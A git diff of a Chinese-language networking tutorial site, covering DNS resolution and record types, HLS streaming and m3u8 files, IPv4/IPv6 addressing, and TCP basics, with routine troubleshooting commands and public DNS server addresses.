                            DNS 服务器另外一种查询方式为迭代查询,DNS 服务器会向客户机提供其他能够解析查询请求的 DNS 服务器地址,当客户机发送查询请求时,DNS 服务器并不直接回复查询结果,而是告诉客户机另一台 DNS 服务器地址,客户机再向这台 DNS 服务器提交请求,依次循环直到返回查询的结果。所以一般内网 DNS 和外网 DNS 之间的都采用迭代查询。

                            分层结构

                            域名是分层结构,域名 DNS 服务器也是对应的层级结构。有了域名结构,还需要有域名 DNS 服务器去解析域名,且是需要由遍及全世界的域名 DNS 服务器去解析,域名 DNS 服务器实际上就是装有域名系统的主机。域名解析过程涉及 4 个 DNS 服务器,分别如下:

                            分类作用
                            根 DNS 服务器Root NameServer,本地域名服务器在本地查询不到解析结果时,则第一步会向它进行查询,并获取顶级域名服务器的 IP 地址。
                            顶级域名服务器TLD(Top-level) NameServer。负责管理在该顶级域名服务器下注册的二级域名,例如 www.example.com.com 则是顶级域名服务器,在向它查询时,可以返回二级域名 example.com 所在的权威域名服务器地址
                            权威域名服务器Authoritative NameServer。在特定区域内具有唯一性,负责维护该区域内的域名与 IP 地址之间的对应关系,例如云解析 DNS。
                            本地域名服务器DNS Resolver 或 Local DNS。本地域名服务器是响应来自客户端的递归请求,并最终跟踪直到获取到解析结果的 DNS 服务器。例如用户本机自动分配的 DNS、运营商 ISP 分配的 DNS、谷歌/114 公共 DNS 等

                            每个层的域名上都有自己的域名服务器,最顶层的是根域名服务器

                            每一级域名服务器都知道下级域名服务器的 IP 地址,以便于一级一级向下查询

                            记录类型

                            在 DNS 系统中,最常见的资源记录方式是 Internet 类记录,该记录由包含 4 个字段的数据构成:NameValueTypeTTL

                            其中 NameValue 可以理解为一对键值对,但是其具体含义取决于 Type 的类型,TTL 记录了该条记录应当从缓存中删除的时间。

                            在资源记录的类型中中,最为常见且重要的类型 Type 主要有:

                            类型说明
                            A将域名指向一个 IPv4 地址,A 记录用于描述目标域名到 IP 地址的映射关系,将目标域名与 A 记录的 Name 字段进行匹配,将成功匹配的记录的 Value 字段的内容(IP 地址)输出到 DNS 回应报文中。
                            CNAME将域名指向另一个域名,CNAME 记录用于描述目的域名和别名的对应关系,如果说 A 记录可以将目标域名转换为对应主机的 IP 地址,那么 CNAME 记录则可以将一个域名(别名)转换为另一个域名,如果多条 CNAME 记录指向同一个域名,则可以将多个不同的域名的请求指向同一台服务器主机。并且,CNAME 记录通常还对应了一条 A 记录,用于提供被转换的域名的 IP 地址
                            NS将子域名指向另一个 DNS 服务器解析,NS 记录用于描述目标域名到负责解析该域名的 DNS 的映射关系,根据目标域名对 NS 记录的 Name 字段进行匹配,将成功匹配的记录的 Value 字段(负责解析目标域名的 DNS 的 IP 地址)输出到 DNS 回应报文中
                            AAAA将域名指向一个 IPv6 地址
                            MX将域名指向邮件服务器地址
                            SRV记录提供特定的服务的服务器
                            TXT文本长度限制 512,通常做 SDF 记录(反垃圾邮件)
                            CAACA 证书颁发机构授权校验
                            显性 URL将域名重定向至另一个地址
                            隐形 URL与显性 URL 类似,但是会隐藏真实的目标地址

                            解析过程

                            DNS 是一种使用 UDP 协议进行域名查询的协议,其最主要的目标就是将域名转换为 IP 地址。

                            DNS 查询的结果通常会在本地域名服务器中进行缓存,如果本地域名服务器中有缓存的情况下,则会跳过如下 DNS 查询步骤,很快返回解析结果。下面的示例则概述了本地域名服务器没有缓存的情况下,DNS 查询所需的 8 个步骤:

                            1. 用户在 Web 浏览器中输入 www.taobao.com, 则由本地域名服务器开始进行递归查询。
                            2. 本地域名服务器采用 迭代查询 的方法,向根域名服务器进行查询 。
                            3. 根域名服务器告诉本地域名服务器,下一步应该查询的顶级域名服务器 .com TLD 的 IP 地址
                            4. 本地域名服务器向顶级域名服务器 .com TLD 进行查询
                            5. .com TLD 服务器告诉本地域名服务器,下一步查询 www.taobao.com 权威域名服务器的 IP 地址
                            6. 本地域名服务器向 www.taobao.com 权威域名服务器发送查询
                            7. www.taobao.com 权威域名服务器告诉本地域名服务器所查询的主机 IP 地址
                            8. 本地域名服务器最后把查询的 IP 地址响应给 Web 浏览器,一旦 DNS 查询的 8 个步骤返回了 www.taobao.com 的 IP 地址,浏览器就能够发出对网页的请求:
                            9. 浏览器向 IP 地址发出 HTTP 请求
                            10. 该 IP 处的 web 服务器返回要在浏览器中呈现的网页
                            DNS Workflow

                            详细解析:

                            以查询 www.taobao.com 对应的 IP 地址为例,操作系统首先会在本地尝试解析,比如使用众所周知的 hosts 文件,同时如果有解析缓存的话,操作系统也会去查询。如果是在浏览器中进行查询,浏览器自己有时也会有解析缓存。

                            • 用户设备
                              • 浏览器可能会缓存域名解析
                              • 用户系统中可以有自己的域名映射表
                            • 公共域名服务器
                              • 通常由 ISP 提供
                              • 缓存上一级域名服务器的结果

                            在查询没有结果时,设备最终会开始向域名服务器发起查询请求。公共域名服务器一般就是用户的 ISP 提供的。这种公共域名服务器通常会缓存查询结果,因此如果缓存命中,查询就可以到此结束。当然缓存本身是有时效的,这个时效就被称为 TTL。对于超过时效的查询结果,域名服务器有义务重新发起查询请求。但查询本身是非常消耗流量的事情,因此也有一些公共服务器不严格遵守 TTL,超时缓存。

                            未命名缓存的查询,公共服务器会向顶级域名服务器进行查询。以上述例子来说,因为公共域名服务器不知道 taobao.com 的解析权归谁,因此它会向顶级域名服务器——com 域名服务器发起请求,寻找 taobao.com 对应的域名服务器。顶级域名服务器一般是由域名经营机构来维护的,有些甚至归属国家机关管理,例如国别域名。理论上来说,在顶级域名服务器之上还有一个根域名服务器,不过在平时很难意识到它的存在。

                            • 公共域名服务器
                              • DNS 级联的特性决定了中途可以有更多域名服务器
                            • 顶级域名服务器
                              • 由顶级域名经营机构维护
                              • 可细分为与国家、通用

                            在查找到 taobao.com 的域名服务器之后,就可以向域名服务器查询 www.taobao.com 的 IP 了。这个过程是由上到下指定下来的,所以这种域名服务器可以被称为权威域名服务器。对于开发者来说,我们自己平时在域名服务器那里购买到域名之后,录入自己域名对应的 IP,其实就是在向权威域名服务器录入信息。一些大型企业会自己维护权威域名服务器,这样既可以抵御一些针对性的攻击,同时也可以更好地优化解析的速度。

                            • 公共域名服务器
                            • 权威域名服务器
                              • 通常由专业的域名服务机构提供
                              • 购买域名时一般会提供

                            排查与优化

                            常见问题

                            • DNS 服务器本身有问题,响应慢并且不稳定
                            • 或者是,客户端到 DNS 服务器的网络延迟比较大
                            • 再或者,DNS 请求或者响应包,在某些情况下被链路中的网络设备弄丢了

                            故障排查顺序

                            1. 检查本地 hostscat /etc/hosts
                            2. 检查 resolv.conf 文件:cat /etc/resolv.conf。在 Redhat7 / Centos7 上修改 resolv.conf 里的 DNS 地址后,重启启网络服务发现 DNS 地址消失了,那么检查下网卡配置文件。
                            3. 检查网卡配置文件:cat /etc/sysconfig/network-scripts/ifcfg-<网卡名称>,看下里头有没 DNS 配置信息,没有的话补上去。

                            常见优化技术

                            1. HttpDNS:客户端基于 HTTP 协议,向 CDN 服务商指定的 DNS 服务器发送域名解析请求,从而避免 LocalDNS 造成的域名劫持和跨网访问
                            2. Http 302 跳转:CDN 厂商维护 CDN 域名 IP 库,根据用户访问终端的 IP 和 CDN 边缘节点的状态,选择最合适的 CDN 节点,发出 HTTP 的 302 返回码,将用户的请求跳转到合适的 CDN 边缘节点。

                            常见优化方法

                            • 缓存:缓存是最有效的方法,但要注意,一旦缓存过期,还是要去 DNS 服务器重新获取新记录。不过,这对大部分应用程序来说都是可接受的。
                            • 预解析:这是浏览器等 Web 应用中最常用的方法,也就是说,不等用户点击页面上的超链接,浏览器就会在后台自动解析域名,并把结果缓存起来。
                            • HTTPDNS:使用 HTTPDNS 取代常规的 DNS 解析。这是很多移动应用会选择的方法,特别是如今域名劫持普遍存在,使用 HTTP 协议绕过链路中的 DNS 服务器,就可以避免域名劫持的问题。
                            • 全局负载均衡:基于 DNS 的全局负载均衡(GSLB)。这不仅为服务提供了负载均衡和高可用的功能,还可以根据用户的位置,返回距离最近的 IP 地址。
                            • 对于移动客户端,在 APP 启动时对需要解析的域名做预先解析,然后把解析的结果缓存到本地的一个 LRU 缓存里面。这样当我们要使用这个域名的时候,只需要从缓存中直接拿到所需要的 IP 地址就好了,如果缓存中不存在才会走整个 DNS 查询的过程。同时为了避免 DNS 解析结果的变更造成缓存内数据失效,我们可以启动一个定时器定期地更新缓存中的数据。

                            DNS 污染解决方案

                            一般是考虑尽可能自主控制 DNS 解析,比如使用专用 DNS 服务器,HTTPDNS,甚至是直接使用 IP 地址跳过解析

                            DNS 术语

                            DNS 缓存

                            DNS 缓存是将解析数据存储在靠近发起请求的客户端的位置,也可以说 DNS 数据是可以缓存在任意位置,最终目的是以此减少递归查询过程,可以更快的让用户获得请求结果。

                            TTL

                            英文全称 Time To Live ,这个值是告诉本地域名服务器,域名解析结果可缓存的最长时间,缓存时间到期后本地域名服务器则会删除该解析记录的数据,删除之后,如有用户请求域名,则会重新进行递归查询/迭代查询的过程。

                            DNS Query Flood Attack

                            指域名查询攻击,攻击方法是通过操纵大量傀儡机器,发送海量的域名查询请求,当每秒域名查询请求次数超过 DNS 服务器可承载的能力时,则会造成解析域名超时从而直接影响业务的可用性。

                            URL 转发

                            英文 Url Forwarding,也可称地址转向,它是通过服务器的特殊设置,将一个域名指向到另外一个已存在的站点

                            DNSSEC

                            域名系统安全扩展(DNS Security Extensions),简称 DNSSEC。它是通过数字签名来保证 DNS 应答报文的真实性和完整性,可有效防止 DNS 欺骗和缓存污染等攻击,能够保护用户不被重定向到非预期地址,从而提高用户对互联网的信任。

                            常用 DNS

                            • 114 DNS:114.114.114.114114.114.115.115
                            • 阿里 DNS:223.5.5.5223.6.6.6
                            • 百度 DNS:180.76.76.76
                            • DNS 派:
                              • 电信 101.226.4.6
                              • 联通 123.125.81.6
                              • 移动 101.226.4.6
                              • 铁通 101.226.4.6
                            • OneDNS
                              • 南方 112.124.47.27
                              • 北方 114.215.126.16
                              • 共用 42.236.82.22
                            • Google DNS:8.8.8.88.8.4.4
                            • OpenDNS:208.67.222.222208.67.220.220
                            • 360 DNS:101.226.4.6123.125.81.6

                            参考资料

                            - + diff --git a/computer-networks/computer-network-architecture/hls/index.html b/computer-networks/computer-network-architecture/hls/index.html index fc21dcbd7..f5690b93f 100644 --- a/computer-networks/computer-network-architecture/hls/index.html +++ b/computer-networks/computer-network-architecture/hls/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + HLS 流媒体网络传输协议 - JavaScript Guidebook -

                            HLS 流媒体网络传输协议

                            HLS 全称是 HTTP Live Streaming,是一个由 Apple 公司提出的基于 HTTP 的媒体流传输协议,用于实时音视频流的传输。目前 HLS 协议被广泛的应用于视频点播和直播领域。

                            实现原理

                            HLS 跟 DASH 协议的原理非常类似。通过将整条流切割成一个小的可以通过 HTTP 下载的媒体文件,然后提供一个配套的媒体列表文件,提供给客户端,让客户端顺序地拉取这些媒体文件播放,来实现看上去是在播放一条流的效果。由于传输层协议只需要标准的 HTTP 协议,HLS 可以方便的透过防火墙或者代理服务器,而且可以很方便的利用 CDN 进行分发加速,并且客户端实现起来也很方便。

                            HLS 把整个流分成一个个小的基于 HTTP 的文件来下载,每次只下载一些。

                            HLS 协议由三部分组成:

                            • HTTP:传输协议
                            • M3U8:索引文件
                            • TS:音视频的媒体信息

                            关于 HLS 的详细介绍可参考:draft-pantos-http-live-streaming

                            在 HTML5 页面上使用 HLS 非常简单:

                            <video src="example.m3u8" controls></video>

                            或者:

                            <video controls>
                            <source src="example.m3u8"></source>
                            </video>

                            M3U8 索引文件

                            HLS 的 m3u8 文件,是一个 TS 的列表,也就是告诉浏览器可以播放这些 TS 文件:

                            #EXTM3U
                            #EXT-X-VERSION:3
                            #EXT-X-MEDIA-SEQUENCE:64
                            #EXT-X-TARGETDURATION:12
                            #EXTINF:11.550
                            livestream-64.ts
                            #EXTINF:5.250
                            livestream-65.ts
                            #EXTINF:7.700
                            livestream-66.ts
                            #EXTINF:6.850
                            livestream-67.ts

                            有几个关键的参数,这些参数在 SRS 的配置文件中都有配置项:

                            • EXT-X-TARGETDURATION:所有切片的最大时长。有些 Apple 设备这个参数不正确会无法播放。SRS 会自动计算出 ts 文件的最大时长,然后更新 m3u8 时会自动更新这个值。用户不必自己配置。
                            • EXTINF:ts 切片的实际时长,SRS 提供配置项 hls_fragment,但实际上的 ts 时长还受 gop 影响。 ts 文件的数目:SRS 可配置 hls_window,指定 m3u8 中保存多少个切片,SRS 会自动清理旧的切片。
                            • livestream-67.ts:SRS 会自动维护 ts 切片的文件名,在编码器重推之后,这个编号会继续增长,保证流的连续性。直到 SRS 重启,这个编号才重置为 0。

                            譬如,每个 ts 切片为 10 秒,窗口为 60 秒,那么 m3u8 中会保存 6 个 ts 切片。

                            每一个 .m3u8 文件,分别对应若干个 ts 文件,这些 ts 文件才是真正存放视频的数据,m3u8 文件只是存放了一些 ts 文件的配置信息和相关路径,当视频播放时,.m3u8 是动态改变的,video 标签会解析这个文件,并找到对应的 ts 文件来播放,所以一般为了加快速度,.m3u8 放在 Web 服务器上,ts 文件放在 CDN 上。

                            .m3u8 文件,其实就是以 UTF-8 编码的 m3u 文件,这个文件本身不能播放,只是存放了播放信息的文本文件。

                            技术架构

                            HLS 的架构分为三部分:Server、CDN 和 Client,即服务器、分发组件和客户端。

                            下面是 HLS 整体架构图:

                            Server

                            服务器端将视频数据流编码、封装和切割为连续的、时长很短的 MPEG-TS 格式的文件,通常一个 ts 分片大概是 10s;并提供一个配套的媒体列表文件(m3u8 文件)。

                            视频封装格式:MPEG-TS。

                            编码:视频编码为 H.264,音频编码为 AAC, MP3, AC-3 或者 EC-3 格式。

                            HLS 也支持纯音频格式,通常是 MPEG 基本音频文件(MP4 封装的 AAC 格式)。

                            Distribution

                            由标准的网络服务器组成,接收客户端的请求和分发所有的资源包括 m3u8 列表文件和 ts 分片文件。

                            Client

                            客户端先通过下载 m3u8 文件,再通过 m3u8 文件的索引地址顺序地拉取 ts 媒体文件播放。对于直播,它的索引文件一直处于动态变化的,你需要不断的更新索引文件 playlist 然后移除旧的索引文件。


                            HLS 协议规定:

                            • 视频的封装格式是 TS
                            • 视频编码格式为 H264,音频编码格式为 MP3、AAC 或者 AC-3
                            • 除了 TS 视频文件本身,还定义了用来控制播放的 m3u8 文件

                            HLS 的工作流程如下图(来源苹果官网)所示:

                            参考资料

                            +

                            HLS 流媒体网络传输协议

                            HLS 全称是 HTTP Live Streaming,是一个由 Apple 公司提出的基于 HTTP 的媒体流传输协议,用于实时音视频流的传输。目前 HLS 协议被广泛的应用于视频点播和直播领域。

                            实现原理

                            HLS 跟 DASH 协议的原理非常类似。通过将整条流切割成一个小的可以通过 HTTP 下载的媒体文件,然后提供一个配套的媒体列表文件,提供给客户端,让客户端顺序地拉取这些媒体文件播放,来实现看上去是在播放一条流的效果。由于传输层协议只需要标准的 HTTP 协议,HLS 可以方便的透过防火墙或者代理服务器,而且可以很方便的利用 CDN 进行分发加速,并且客户端实现起来也很方便。

                            HLS 把整个流分成一个个小的基于 HTTP 的文件来下载,每次只下载一些。

                            HLS 协议由三部分组成:

                            • HTTP:传输协议
                            • M3U8:索引文件
                            • TS:音视频的媒体信息

                            关于 HLS 的详细介绍可参考:draft-pantos-http-live-streaming

                            在 HTML5 页面上使用 HLS 非常简单:

                            <video src="example.m3u8" controls></video>

                            或者:

                            <video controls>
                            <source src="example.m3u8"></source>
                            </video>

                            M3U8 索引文件

                            HLS 的 m3u8 文件,是一个 TS 的列表,也就是告诉浏览器可以播放这些 TS 文件:

                            #EXTM3U
                            #EXT-X-VERSION:3
                            #EXT-X-MEDIA-SEQUENCE:64
                            #EXT-X-TARGETDURATION:12
                            #EXTINF:11.550
                            livestream-64.ts
                            #EXTINF:5.250
                            livestream-65.ts
                            #EXTINF:7.700
                            livestream-66.ts
                            #EXTINF:6.850
                            livestream-67.ts

                            有几个关键的参数,这些参数在 SRS 的配置文件中都有配置项:

                            • EXT-X-TARGETDURATION:所有切片的最大时长。有些 Apple 设备这个参数不正确会无法播放。SRS 会自动计算出 ts 文件的最大时长,然后更新 m3u8 时会自动更新这个值。用户不必自己配置。
                            • EXTINF:ts 切片的实际时长,SRS 提供配置项 hls_fragment,但实际上的 ts 时长还受 gop 影响。 ts 文件的数目:SRS 可配置 hls_window,指定 m3u8 中保存多少个切片,SRS 会自动清理旧的切片。
                            • livestream-67.ts:SRS 会自动维护 ts 切片的文件名,在编码器重推之后,这个编号会继续增长,保证流的连续性。直到 SRS 重启,这个编号才重置为 0。

                            譬如,每个 ts 切片为 10 秒,窗口为 60 秒,那么 m3u8 中会保存 6 个 ts 切片。

                            每一个 .m3u8 文件,分别对应若干个 ts 文件,这些 ts 文件才是真正存放视频的数据,m3u8 文件只是存放了一些 ts 文件的配置信息和相关路径,当视频播放时,.m3u8 是动态改变的,video 标签会解析这个文件,并找到对应的 ts 文件来播放,所以一般为了加快速度,.m3u8 放在 Web 服务器上,ts 文件放在 CDN 上。

                            .m3u8 文件,其实就是以 UTF-8 编码的 m3u 文件,这个文件本身不能播放,只是存放了播放信息的文本文件。

                            技术架构

                            HLS 的架构分为三部分:Server、CDN 和 Client,即服务器、分发组件和客户端。

                            下面是 HLS 整体架构图:

                            Server

                            服务器端将视频数据流编码、封装和切割为连续的、时长很短的 MPEG-TS 格式的文件,通常一个 ts 分片大概是 10s;并提供一个配套的媒体列表文件(m3u8 文件)。

                            视频封装格式:MPEG-TS。

                            编码:视频编码为 H.264,音频编码为 AAC, MP3, AC-3 或者 EC-3 格式。

                            HLS 也支持纯音频格式,通常是 MPEG 基本音频文件(MP4 封装的 AAC 格式)。

                            Distribution

                            由标准的网络服务器组成,接收客户端的请求和分发所有的资源包括 m3u8 列表文件和 ts 分片文件。

                            Client

                            客户端先通过下载 m3u8 文件,再通过 m3u8 文件的索引地址顺序地拉取 ts 媒体文件播放。对于直播,它的索引文件一直处于动态变化的,你需要不断的更新索引文件 playlist 然后移除旧的索引文件。


                            HLS 协议规定:

                            • 视频的封装格式是 TS
                            • 视频编码格式为 H264,音频编码格式为 MP3、AAC 或者 AC-3
                            • 除了 TS 视频文件本身,还定义了用来控制播放的 m3u8 文件

                            HLS 的工作流程如下图(来源苹果官网)所示:

                            参考资料

                            - + diff --git a/computer-networks/computer-network-architecture/index.html b/computer-networks/computer-network-architecture/index.html index 3e0de6b37..146f402bd 100644 --- a/computer-networks/computer-network-architecture/index.html +++ b/computer-networks/computer-network-architecture/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/computer-networks/computer-network-architecture/network-layer-and-data-link-layer-protocol/index.html b/computer-networks/computer-network-architecture/network-layer-and-data-link-layer-protocol/index.html index a192fe56c..a3e54a856 100644 --- a/computer-networks/computer-network-architecture/network-layer-and-data-link-layer-protocol/index.html +++ b/computer-networks/computer-network-architecture/network-layer-and-data-link-layer-protocol/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -29,12 +32,12 @@

                            网络层与数据链路层协议

                            网络层用来处理在网络上流动的数据包(数据包:网络上传输的最小数据单位)。网络层规定在众多选项中通过怎样的路径(传输线路)到达对方的计算机,把数据包传输给对方。

                            该层中最突出的协议是 Internet Protocol(IP),因此该层也称为 IP 层。IP 的核心是两个主要功能:地址路由

                            IP 协议是 TCP / IP 协议的核心,所有的 TCP、UDP、IMCP、IGMP 的数据都以 IP 数据格式传输。要注意的是,IP 不是可靠的协议,这是指 IP 协议没有提供一种数据未传达以后的处理机制,这被认为是上层协议:TCP 或 UDP 要做的事情。

                            网络层功能:

                            • IP 寻址
                            • 选路
                            • 封装打包
                            • 分片

                            数据链路层功能:

                            • 逻辑链路控制
                            • 媒体访问控制
                            • 封装链路层帧
                            • MAC 寻址
                            • 差错检测与处理
                            • 定义物理层标准

                            IPv4 分类地址

                            在数据链路层中我们一般通过 MAC 地址来识别不同的节点,而在 IP 层我们也要有一个类似的地址标识,这就是 IP 地址。

                            32 位 IP 地址(IPv4 地址的点分十进制表示)分为网络位和地址位,这样做可以减少路由器中路由表记录的数目,有了网络地址,就可以限定拥有相同网络地址的终端都在同一个范围内,那么路由表只需要维护一条这个网络地址的方向,就可以找到相应的这些终端了。

                            当互联网规律很小时,类别信息被编码进 IP 地址:

                            IP 地址类别首字节网络号 Bit 数主机号 Bit 数理论地址范围预期用途
                            A 类地址0xxx xxxx8241.0.0.0 ~ 126.255.255.255特大网络的单播传输
                            B 类地址10xx xxxx1616128.0.0.0 ~ 191.255.255.255数千台中大型网络的单播传输
                            C 类地址110x xxxx248192.0.0.0 ~ 223.255.255.255250 台主机以下小型网络的单播传输
                            D 类地址1110 xxxxn/an/a224.0.0.0 ~ 239.255.255.255IP 多播
                            E 类地址1111 xxxxn/an/a240.0.0.0 ~ 255.255.255.255预留实验用

                            CIDR 子网掩码

                            无类别域间路由(Classless Inter-Domain Routing,CIDR)是一个用于给用户分配 IP 地址以及在互联网上有效地路由 IP 数据包的对 IP 地址进行归类的方法。

                            表示方法:A.B.C.D/N(N 的范围 [0, 32]

                            链路层 MAC 地址

                            • 链路层地址 MAC(Media Access Control Address)
                              • 实现本地网络设备间的直接传输
                            • 网络层地址 IP(Internet Protocol address)
                              • 实现大型网络间的传输

                            查看 MAC 地址:

                            # Window
                            ipconfig / all
                            -
                            # Linux
                            ifconfig

                            地址解析协议 ARP

                            动态地址解析协议(Address Resolution Protocol,ARP)是根据 IP 地址获取 MAC 地址的一种协议。

                            简单的来说 ARP 的作用就是把 IP 地址映射为物理地址,而与之相反的 RARP(逆向 ARP)就是将物理地址映射为 IP 地址。

                            NAT 地址转换

                            网络地址转换(Network Address Translation,缩写:NAT;又称网络掩蔽、IP 掩蔽)在计算机网络中是一种在 IP 数据包通过路由器或防火墙时重写来源 IP 地址或目的 IP 地址的技术。这种技术被普遍使用在有多台主机但只通过一个公有 IP 地址访问互联网的私有网络中。它是一个方便且得到了广泛应用的技术。当然,NAT 也让主机之间的通信变得复杂,导致了通信效率的降低。

                            IPv6

                            网际协议第 6 版(英语:Internet Protocol version 6,缩写:IPv6)是网际协议的最新版本,用作互联网的协议。用它来取代 IPv4 主要是为了解决 IPv4 地址枯竭问题,同时它也在其他方面对于 IPv4 有许多改进。

                            IPv6 目的:

                            • 更大的地址空间:128 位长度
                            • 更好的地址空间管理
                            • 消除 NAT 等寻址技术
                            • 更简易的 IP 配置管理
                            • 优秀的选路设计
                            • 更好的多播支持
                            • 安全性
                            • 移动性

                            格式

                            IPv6 二进位制下为 128 位长度,以 16 位为一组,每组以冒号 : 隔开,可以分为 8 组,每组以 4 位十六进制方式表示。

                            例如:2001:0db8:86a3:08d3:1319:8a2e:0370:7344 是一个合法的 IPv6 地址。

                            类似于 IPv4 的点分十进制,同样也存在点分十六进制的写法,将 8 组 4 位十六进制地址的冒号去除后,每位以点号 . 分组。

                            例如:2001:0db8:85a3:08d3:1319:8a2e:0370:7344 则记为 2.0.0.1.0.d.b.8.8.5.a.3.0.8.d.3.1.3.1.9.8.a.2.e.0.3.7.0.7.3.4.4,其倒序写法用于 ip6.arpa 子域名记录 IPv6 地址与域名的映射。

                            同时 IPv6 在某些条件下可以省略:

                            1. 每项数字前导的 0 可以省略,省略后前导数字仍是 0 则继续,例如下组 IPv6 是等价的。
                            2001:0DB8:02de:0000:0000:0000:0000:0e13
                            2001:DB8:2de:0000:0000:0000:0000:e13
                            2001:DB8:2de:000:000:000:000:e13
                            2001:DB8:2de:00:00:00:00:e13
                            2001:DB8:2de:0:0:0:0:e13
                            1. 可以用双冒号 :: 表示一组 0 或多组连续的 0,但只能出现一次:
                            • 如果四组数字都是零,可以被省略。遵照以上省略规则,下面这两组 IPv6 都是相等的。
                            2001:DB8:2de:0:0:0:0:e13
                            2001:DB8:2de::e13
                            2001:0DB8:0000:0000:0000:0000:1428:57ab
                            2001:0DB8:0000:0000:0000::1428:57ab
                            2001:0DB8:0:0:0:0:1428:57ab
                            2001:0DB8:0::0:1428:57ab
                            2001:0DB8::1428:57ab
                            • 2001::25de::cade 是非法的,因为双冒号出现了两次。它有可能是下种情形之一,造成无法推断。
                            2001:0000:0000:0000:0000:25de:0000:cade
                            2001:0000:0000:0000:25de:0000:0000:cade
                            2001:0000:0000:25de:0000:0000:0000:cade
                            2001:0000:25de:0000:0000:0000:0000:cade

                            如果这个地址实际上是 IPv4 的地址,后 32 位可以用 10 进制数表示;因此 ::ffff:192.168.89.9 相等于 ::ffff:c0a8:5909。 另外,::ffff:1.2.3.4 格式叫做 IPv4 映射地址。

                            IPv4 位址可以很容易的转化为 IPv6 格式。举例来说,如果 IPv4 的一个地址为 135.75.43.52(十六进制为 0x874B2B34),它可以被转化为 0000:0000:0000:0000:0000:FFFF:874B:2B34 或者 ::FFFF:874B:2B34。同时,还可以使用混合符号(IPv4-compatible address),则地址可以为 ::ffff:135.75.43.52

                            +
                            # Linux
                            ifconfig

                            地址解析协议 ARP

                            动态地址解析协议(Address Resolution Protocol,ARP)是根据 IP 地址获取 MAC 地址的一种协议。

                            简单的来说 ARP 的作用就是把 IP 地址映射为物理地址,而与之相反的 RARP(逆向 ARP)就是将物理地址映射为 IP 地址。

                            NAT 地址转换

                            网络地址转换(Network Address Translation,缩写:NAT;又称网络掩蔽、IP 掩蔽)在计算机网络中是一种在 IP 数据包通过路由器或防火墙时重写来源 IP 地址或目的 IP 地址的技术。这种技术被普遍使用在有多台主机但只通过一个公有 IP 地址访问互联网的私有网络中。它是一个方便且得到了广泛应用的技术。当然,NAT 也让主机之间的通信变得复杂,导致了通信效率的降低。

                            IPv6

                            网际协议第 6 版(英语:Internet Protocol version 6,缩写:IPv6)是网际协议的最新版本,用作互联网的协议。用它来取代 IPv4 主要是为了解决 IPv4 地址枯竭问题,同时它也在其他方面对于 IPv4 有许多改进。

                            IPv6 目的:

                            格式

                            IPv6 二进位制下为 128 位长度,以 16 位为一组,每组以冒号 : 隔开,可以分为 8 组,每组以 4 位十六进制方式表示。

                            例如:2001:0db8:86a3:08d3:1319:8a2e:0370:7344 是一个合法的 IPv6 地址。

                            类似于 IPv4 的点分十进制,同样也存在点分十六进制的写法,将 8 组 4 位十六进制地址的冒号去除后,每位以点号 . 分组。

                            例如:2001:0db8:85a3:08d3:1319:8a2e:0370:7344 则记为 2.0.0.1.0.d.b.8.8.5.a.3.0.8.d.3.1.3.1.9.8.a.2.e.0.3.7.0.7.3.4.4,其倒序写法用于 ip6.arpa 子域名记录 IPv6 地址与域名的映射。

                            同时 IPv6 在某些条件下可以省略:

                            1. 每项数字前导的 0 可以省略,省略后前导数字仍是 0 则继续,例如下组 IPv6 是等价的。
                            2001:0DB8:02de:0000:0000:0000:0000:0e13
                            2001:DB8:2de:0000:0000:0000:0000:e13
                            2001:DB8:2de:000:000:000:000:e13
                            2001:DB8:2de:00:00:00:00:e13
                            2001:DB8:2de:0:0:0:0:e13
                            1. 可以用双冒号 :: 表示一组 0 或多组连续的 0,但只能出现一次:
                            2001:DB8:2de:0:0:0:0:e13
                            2001:DB8:2de::e13
                            2001:0DB8:0000:0000:0000:0000:1428:57ab
                            2001:0DB8:0000:0000:0000::1428:57ab
                            2001:0DB8:0:0:0:0:1428:57ab
                            2001:0DB8:0::0:1428:57ab
                            2001:0DB8::1428:57ab
                            2001:0000:0000:0000:0000:25de:0000:cade
                            2001:0000:0000:0000:25de:0000:0000:cade
                            2001:0000:0000:25de:0000:0000:0000:cade
                            2001:0000:25de:0000:0000:0000:0000:cade

                            如果这个地址实际上是 IPv4 的地址,后 32 位可以用 10 进制数表示;因此 ::ffff:192.168.89.9 相等于 ::ffff:c0a8:5909。 另外,::ffff:1.2.3.4 格式叫做 IPv4 映射地址。

                            IPv4 位址可以很容易的转化为 IPv6 格式。举例来说,如果 IPv4 的一个地址为 135.75.43.52(十六进制为 0x874B2B34),它可以被转化为 0000:0000:0000:0000:0000:FFFF:874B:2B34 或者 ::FFFF:874B:2B34。同时,还可以使用混合符号(IPv4-compatible address),则地址可以为 ::ffff:135.75.43.52

                            - + diff --git a/computer-networks/computer-network-architecture/transport-layer-protocol/index.html b/computer-networks/computer-network-architecture/transport-layer-protocol/index.html index 65a17242f..9e6ae74dc 100644 --- a/computer-networks/computer-network-architecture/transport-layer-protocol/index.html +++ b/computer-networks/computer-network-architecture/transport-layer-protocol/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + 传输层协议 - JavaScript Guidebook -

                            传输层协议

                            传输层(Transport Layer)的主要任务就是负责向两台主机进程之间的通信提供通用的 数据传输服务。应用进程利用该服务传送应用层报文。

                            网络协议族中有两个具有代表性的传输层协议,分别是 TCP 和 UDP。

                            • 传输控制协议 TCP:提供面向连接的,可靠的数据传输服务
                            • 用户数据协议 UDP:提供无连接的,尽最大努力的数据传输服务(不保证数据传输的可靠性)

                            TCP

                            传输控制协议(Transmission Control Protocol,简称 TCP)是一种 面向连接(连接导向)的、可靠的、 基于 IP 协议的传输层协议。

                            • 面向连接:每条 TCP 连接只能有两个端点(亦即点对点,不可广播、多播),每一条 TCP 连接只能是一对一
                            • 可靠的传输服务:通过 TCP 连接传送的数据,无差错、不丢失、不重复、并且按序到达,丢包时通过重传机制进而增加时延实现可靠性
                            • 全双工通信:TCP 允许通信双方的应用进程在任何时候都能发送数据。TCP 连接的两端都设有发送缓存和接收缓存,用来临时存放双方通信的数据
                            • 字节流:面向字节流,TCP 中的 (Stream)指的是流入进程或从进程流出的字节序列
                            • 流量缓冲:解决速度不匹配问题
                            TCP 状态机

